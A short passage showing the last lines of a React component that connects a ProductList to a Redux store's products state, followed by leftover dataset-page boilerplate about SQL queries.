}
}
const mapStateToProps = ({ products }) => ({products})
export default connect(mapStateToProps)(ProductList); |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.